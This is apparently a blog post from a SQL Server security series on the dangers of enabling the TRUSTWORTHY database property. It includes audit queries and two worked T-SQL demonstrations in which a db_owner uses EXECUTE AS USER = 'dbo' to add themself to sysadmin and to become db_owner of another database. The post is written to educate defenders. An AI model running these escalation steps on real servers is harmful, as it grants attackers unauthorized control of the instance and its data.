SQL Server - Understanding the Risks of Database-Enabled TRUSTWORTHY Property

Views: 1.807 views

In this article

This post is the 19 part of 20 in the series. Security and Audit

Reading Time: 6 minutes

Speak guys!
In another article on security, which is the theme of my talk at MVPConf LATAM 2019, I will share with you the risks of TRUSTWORTHY property of a SQL Server database, which is widely used in environments that use EXTERNAL_ACCESS or UNRESTRICTED permission level SQLCLR libraries.

If you have an SQLCLR library and have enabled the Trustworthy property because of this, be aware that there are other ways you can use your CLR libraries without having to enable this property, which is by using certificates and signing the assembly in SQL Server. Soon I will write an article about it.

To identify the databases in your instance that have this property enabled, use the query below:

SELECT database_id, [name], owner_sid, state_desc, is_trustworthy_on
FROM sys.databases
WHERE is_trustworthy_on = 1

SELECT database_id, [name], owner_sid, state_desc, is_trustworthy_on

FROM sys.databases

WHERE is_trustworthy_on = 1

Result:

And in a little more elaborate query, we can already make the association with SQLCLR assemblies and with users who are db_owner in these databases:

IF (OBJECT_ID('tempdb..#Bancos_Trustworthy') IS NOT NULL) DROP TABLE #Bancos_Trustworthy
CREATE TABLE #Bancos_Trustworthy
(
    [database_id] INT,
    [name] NVARCHAR(128),
    [owner_sid] VARBINARY(85),
    [db_owner_member] NVARCHAR(128),
    [state_desc] NVARCHAR(60),
    [is_trustworthy_on] BIT,
    [assembly_name] NVARCHAR(128),
    [permission_set_desc] NVARCHAR(60),
    [create_date] DATETIME
)

INSERT INTO #Bancos_Trustworthy
EXEC sys.sp_MSforeachdb '
SELECT 
    A.database_id, 
    A.[name], 
    A.owner_sid,
    C.member_name,
    A.state_desc, 
    A.is_trustworthy_on,
    B.[name] AS assembly_name,
    B.permission_set_desc,
    B.create_date
FROM 
    [?].sys.databases A
    LEFT JOIN [?].sys.assemblies B ON B.is_user_defined = 1
    OUTER APPLY (
        SELECT B.[name] AS member_name
        FROM [?].sys.database_role_members A
        JOIN [?].sys.database_principals B ON A.member_principal_id = B.principal_id
        JOIN [?].sys.database_principals C ON A.role_principal_id = C.principal_id
        WHERE C.[name] = ''db_owner''
        AND C.is_fixed_role = 1
        AND B.principal_id > 4
    ) C
WHERE
    A.is_trustworthy_on = 1
    AND A.[name] = ''?'''
    

SELECT * FROM #Bancos_Trustworthy

IF (OBJECT_ID('tempdb..#Bancos_Trustworthy') IS NOT NULL) DROP TABLE #Bancos_Trustworthy

CREATE TABLE #Bancos_Trustworthy

(

[database_id] INT,

[name] NVARCHAR(128),

[owner_sid] VARBINARY(85),

[db_owner_member] NVARCHAR(128),

[state_desc] NVARCHAR(60),

[is_trustworthy_on] BIT,

[assembly_name] NVARCHAR(128),

[permission_set_desc] NVARCHAR(60),

[create_date] DATETIME

)

INSERT INTO #Bancos_Trustworthy

EXEC sys.sp_MSforeachdb '

SELECT

A.database_id,

A.[name],

A.owner_sid,

C.member_name,

A.state_desc,

A.is_trustworthy_on,

B.[name] AS assembly_name,

B.permission_set_desc,

B.create_date

FROM

[?].sys.databases A

LEFT JOIN [?].sys.assemblies B ON B.is_user_defined = 1

OUTER APPLY (

SELECT B.[name] AS member_name

FROM [?].sys.database_role_members A

JOIN [?].sys.database_principals B ON A.member_principal_id = B.principal_id

JOIN [?].sys.database_principals C ON A.role_principal_id = C.principal_id

WHERE C.[name] = ''db_owner''

AND C.is_fixed_role = 1

AND B.principal_id > 4

) C

WHERE

A.is_trustworthy_on = 1

AND A.[name] = ''?'''

SELECT * FROM #Bancos_Trustworthy

Result:

What is it for and what is the danger of TRUSTWORTHY = ON?

The TRUSTWORTHY property does have its benefits, such as the ability to perform Stored Procedures with external access to SQLCLR libraries, but it goes beyond that. As Luan Moreno explained in detail in his article Why Use the TRUSTWORTHY Option, this property, when enabled, allows an object created using EXECUTE AS (or even an ad-hoc command) in a given database to access data from another database.

Because EXECUTE AS operation requires a very high level of reliability (learn about the risks of EXECUTE AS clicking here on this link), SQL Server blocks this type of execution, which is only allowed by removing the EXECUTE AS clause from this object or by enabling the TRUSTWORTHY property on the database where the object is created.

But what is the risk of having the TRUSTWORTHY property enabled on a database? It is precisely this reliability among the databases .. rs

My environment has the following scenario: User dirceu Dirceu_User is part of the members of database role db_owner in bank CLR, which has the Trustworthy property enabled. This user is not even created in other databases and does not have any instance level permissions.

Let's see what you can do in this scenario.

1 Attempt: I want to be sysadmin!

Right off the bat, I will try to take advantage of the bank to have Trustworthy property enabled to make me a sysadmin user. This will be done using the default dbo user, to execute the commands I need:

SELECT
    USER_NAME() AS [user_name],
    ORIGINAL_LOGIN() AS [original_login],
    USER AS [user],
    SUSER_NAME() AS [suser_name],
    SUSER_SNAME() AS [suser_sname],
    SYSTEM_USER AS [system_user],
    IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?];
GO

USE [CLR]
GO

EXECUTE AS USER = 'dbo'
GO

ALTER SERVER ROLE [sysadmin] ADD MEMBER [Dirceu_User]
GO

REVERT
GO

SELECT
    USER_NAME() AS [user_name],
    ORIGINAL_LOGIN() AS [original_login],
    USER AS [user],
    SUSER_NAME() AS [suser_name],
    SUSER_SNAME() AS [suser_sname],
    SYSTEM_USER AS [system_user],
    IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?];
GO

SELECT

USER_NAME() AS [user_name],

ORIGINAL_LOGIN() AS [original_login],

USER AS [user],

SUSER_NAME() AS [suser_name],

SUSER_SNAME() AS [suser_sname],

SYSTEM_USER AS [system_user],

IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?];

USE [CLR]

EXECUTE AS USER = 'dbo'

ALTER SERVER ROLE [sysadmin] ADD MEMBER [Dirceu_User]

REVERT

SELECT

USER_NAME() AS [user_name],

ORIGINAL_LOGIN() AS [original_login],

USER AS [user],

SUSER_NAME() AS [suser_name],

SUSER_SNAME() AS [suser_sname],

SYSTEM_USER AS [system_user],

IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?];

Execution Result: I am now sysadmin!

Right away you can understand the risk that this property brings to us right? Imagine a database with this property enabled and the user of any application is in role db_owner. A simple SQL Injection can cause an attacker to get sysadmin privilege on the instance, even if the application user is not sysadmin. To learn more about SQL Injection, read my article SQL Server - How to Avoid SQL Injection? Stop using Dynamic Query as EXEC (@Query). Now..

2 Attempt: I want to be db_owner from other databases!

In this second attempt, I will try to create my user in another database and put myself as db_owner of that database as well. This way, an attacker can gain access to other databases that exist in the instance, not just the database he was able to hack into.

We will try to access the database “dirceuresende”, because I want to read the data that is there:

Yeah, my user doesn't exist there. Well, let's break in then:

-- Mostra meu usuário e comprova que não sou sysadmin
SELECT
    USER_NAME() AS [user_name],
    ORIGINAL_LOGIN() AS [original_login],
    USER AS [user],
    SUSER_NAME() AS [suser_name],
    SUSER_SNAME() AS [suser_sname],
    SYSTEM_USER AS [system_user],
    IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?]

-- Mostra meu usuário e comprova que não sou sysadmin

SELECT

USER_NAME() AS [user_name],

ORIGINAL_LOGIN() AS [original_login],

USER AS [user],

SUSER_NAME() AS [suser_name],

SUSER_SNAME() AS [suser_sname],

SYSTEM_USER AS [system_user],

IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?]

Now let's access the “dirceuresende” database through EXECUTE AS:

-- Banco que sou db_owner e possui parâmetro Trustworthy habilitado
USE [CLR]
GO

-- Mudo o contexto da execução para o usuário dbo (sysadmin por default)
EXECUTE AS USER = 'dbo'
GO

-- Utilizando o usuário dbo, vou mudar o database da minha sessão para o "dirceuresende"
USE [dirceuresende]
GO

-- Confirmando que estou acessando o database "dirceuresende"
SELECT DB_ID(), DB_NAME()
GO

-- Banco que sou db_owner e possui parâmetro Trustworthy habilitado

USE [CLR]

-- Mudo o contexto da execução para o usuário dbo (sysadmin por default)

EXECUTE AS USER = 'dbo'

-- Utilizando o usuário dbo, vou mudar o database da minha sessão para o "dirceuresende"

USE [dirceuresende]

-- Confirmando que estou acessando o database "dirceuresende"

SELECT DB_ID(), DB_NAME()

Now I will list who are the db_owners in this database:

-- Listo quem são os usuários sysadmin
SELECT C.[name] AS member_name
FROM sys.database_role_members A
JOIN sys.database_principals B ON A.role_principal_id = B.principal_id
JOIN sys.database_principals C ON A.member_principal_id = C.principal_id
WHERE B.[name] = 'db_owner'
AND B.is_fixed_role = 1
GO

-- Listo quem são os usuários sysadmin

SELECT C.[name] AS member_name

FROM sys.database_role_members A

JOIN sys.database_principals B ON A.role_principal_id = B.principal_id

JOIN sys.database_principals C ON A.member_principal_id = C.principal_id

WHERE B.[name] = 'db_owner'

AND B.is_fixed_role = 1

Starting my “invasion”, I'm using the execution context of the dbo user and with that, I can create my user in this database and add myself to the database role db_owner:

-- Crio meu usuário nesse database
CREATE USER [Dirceu_User] FOR LOGIN [Dirceu_User]
GO

-- Me autoadiciono na database role db_owner
ALTER ROLE [db_owner] ADD MEMBER [Dirceu_User]
GO

-- Volto para o database que eu executei o comando EXECUTE AS
-- Msg 15199, Level 16, State 1, Line 46
-- The current security context cannot be reverted. Please switch to the original database where 'Execute As' was called and try it again.
USE [CLR]
GO

-- Volto o contexto de execução para o usuário Dirceu_User
REVERT
GO

-- Crio meu usuário nesse database

CREATE USER [Dirceu_User] FOR LOGIN [Dirceu_User]

-- Me autoadiciono na database role db_owner

ALTER ROLE [db_owner] ADD MEMBER [Dirceu_User]

-- Volto para o database que eu executei o comando EXECUTE AS

-- Msg 15199, Level 16, State 1, Line 46

-- The current security context cannot be reverted. Please switch to the original database where 'Execute As' was called and try it again.

USE [CLR]

-- Volto o contexto de execução para o usuário Dirceu_User

REVERT

Now my user is db_owner from the database “dirceuresende” :). Do not believe? I'll prove.

-- Mostra meu usuário e comprova que não sou sysadmin
SELECT
    USER_NAME() AS [user_name],
    ORIGINAL_LOGIN() AS [original_login],
    USER AS [user],
    SUSER_NAME() AS [suser_name],
    SUSER_SNAME() AS [suser_sname],
    SYSTEM_USER AS [system_user],
    IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?];
GO

-- Agora consigo acessar esse database :)
USE [dirceuresende]
GO

-- Confirmando que estou acessando o database "dirceuresende"
SELECT DB_ID(), DB_NAME()
GO

-- Listo novamente quem são os usuários db_owner desse database. Sou db_owner :)
SELECT C.[name] AS member_name
FROM sys.database_role_members A
JOIN sys.database_principals B ON A.role_principal_id = B.principal_id
JOIN sys.database_principals C ON A.member_principal_id = C.principal_id
WHERE B.[name] = 'db_owner'
AND B.is_fixed_role = 1
GO

-- Mostra meu usuário e comprova que não sou sysadmin

SELECT

USER_NAME() AS [user_name],

ORIGINAL_LOGIN() AS [original_login],

USER AS [user],

SUSER_NAME() AS [suser_name],

SUSER_SNAME() AS [suser_sname],

SYSTEM_USER AS [system_user],

IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?];

-- Agora consigo acessar esse database :)

USE [dirceuresende]

-- Confirmando que estou acessando o database "dirceuresende"

SELECT DB_ID(), DB_NAME()

-- Listo novamente quem são os usuários db_owner desse database. Sou db_owner :)

SELECT C.[name] AS member_name

FROM sys.database_role_members A

JOIN sys.database_principals B ON A.role_principal_id = B.principal_id

JOIN sys.database_principals C ON A.member_principal_id = C.principal_id

WHERE B.[name] = 'db_owner'

AND B.is_fixed_role = 1

End result of my attack:

Well guys, with these 2 types of attacks shown above, I think I was able to expose some security risks when using this property in production environments, especially in databases that are used by applications and are susceptible to attacks like SQL Injection and the attacker will have much more tools to use with this bank-enabled property he is attacking.

It is noteworthy that this property has its benefits yes, as I commented at the beginning of the post, but must have been activated with great care and awareness in the environment. These examples I have shown are just a few of them, but they can be done in different types of attacks by exploiting the security breach caused by the Trustworthy property.

If you have an SQLCLR library and you have enabled the Trustworthy property because of this, be aware that there are other ways you can use your CLR libraries without having to enable this property, which is by using certificates and signing the assembly in SQL Server. Soon I will write an article about it. Wait..

And to reassure you, know that only users on role sysadmin can change the TRUSTWORTHY property of a database. Not even the DB owner or users in role db_owner can change this property.

References:

That's it folks!
I hope you enjoyed this article and you start taking the safety of your environment more seriously. If you are concerned about the safety of your environment and want the advice of a subject matter expert, please request the FREE Database Check-Up + Security Analysis: Do You Need It?.

Strong hug and until next time!

Other Languages

Subscribe to a blog by email

Blog Views

Power Alerts

Azure Banking Admin Course

SQL Server Security Course

My Certifications

Posts Archive

Categories

Recent Posts

SQL Server - Understanding the Risks of TRUSTWORTHY Property Enabled in a Database

What is it for and what is the danger of TRUSTWORTHY = ON?

1 Attempt: I want to be sysadmin!

2 Attempt: I want to be db_owner from other databases!

You may also like ...

Leave a Comment Cancel reply

What is it for and what is the danger of TRUSTWORTHY = ON?

1 Attempt: I want to be sysadmin!

2 Attempt: I want to be db_owner from other databases!

You may also like ...

How to identify users logged in to SQL Server

SQL Server - How to identify locks, blocks, and blocking sessions

SQL Server - How to export the contents of a column to XML files

Leave a Comment Cancel reply